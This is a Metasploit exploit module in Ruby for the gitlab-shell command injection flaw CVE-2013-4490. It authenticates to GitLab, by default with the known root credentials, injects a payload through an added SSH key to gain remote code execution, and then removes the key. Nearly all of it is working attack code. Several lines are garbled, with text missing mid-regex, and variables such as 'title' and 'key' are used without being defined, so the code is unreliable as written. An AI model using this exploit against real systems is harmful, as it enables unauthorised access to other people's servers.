## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Gitlab-shell Code Execution', 'Description' => %q( This module takes advantage of the addition of authorized ssh keys in the gitlab-shell functionality of Gitlab. Versions of gitlab-shell prior to 1.7.4 used the ssh key provided directly in a system call resulting in a command injection vulnerability. As this relies on adding an ssh key to an account, valid credentials are required to exploit this vulnerability. ), 'Author' => [ 'Brandon Knight' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'], ['CVE', '2013-4490'] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Linux (x64)', { 'Platform' => 'linux', 'Arch' => ARCH_X64 } ], [ 'Unix (CMD)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'RequiredCmd' => 'openssl perl python' }, 'BadChars' => "\x22" } } ], [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Payload' => { 'BadChars' => "\x22" } } ] ], 'CmdStagerFlavor' => %w( bourne printf ), 'DisclosureDate' => 'Nov 4 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']), OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']), OptString.new('TARGETURI', [true, 'The path to Gitlab', '/']) ]) end def exploit login case target['Platform'] when 'unix' execute_command(payload.encoded) when 'python' execute_command("python -c \\\"#{payload.encoded}\\\"") when 'linux' execute_cmdstager(temp: './', linemax: 2800) end end def execute_command(cmd, _opts = {}) key_id = add_key(cmd) delete_key(key_id) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in')) if res && res.body && res.body.include?('GitLab') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in') # Get a valid session cookie and authenticity_token for the next step res = send_request_cgi( 'method' => 'GET', 'cookie' => 'request_method=GET', 'uri' => signin_page ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] auth_token = res.body.scan(/ 'POST', 'cookie' => local_session_cookie, 'uri' => signin_page, 'vars_post' => { 'utf8' => "\xE2\x9C\x93", 'authenticity_token' => auth_token, "#{user_field}" => username, 'user[password]' => password, 'user[remember_me]' => 0 } ) fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302 @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil? end def add_key(cmd) if @gitlab_version == 5 @key_base = normalize_uri(target_uri.path.to_s, 'keys') else @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys') end # Perform an initial request to get an authenticity_token so the actual # key addition can be done successfully. res = send_request_cgi( 'method' => 'GET', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => normalize_uri(@key_base, 'new') ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res auth_token = res.body.scan(/ 'POST', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => @key_base, 'vars_post' => { 'utf8' => "\xE2\x9C\x93", 'authenticity_token' => auth_token, 'key[title]' => title, 'key[key]' => key } ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res # Get the newly added key id so it can be used for cleanup key_id = res.headers['Location'].split('/')[-1] key_id end def delete_key(key_id) res = send_request_cgi( 'method' => 'GET', 'cookie' => "request_method=GET; #{@session_cookie}", 'uri' => @key_base ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res auth_token = res.body.scan(/ 'POST', 'cookie' => "#{@session_cookie}", 'uri' => normalize_uri("#{@key_base}", "#{key_id}"), 'vars_post' => { '_method' => 'delete', 'authenticity_token' => auth_token } ) fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res end end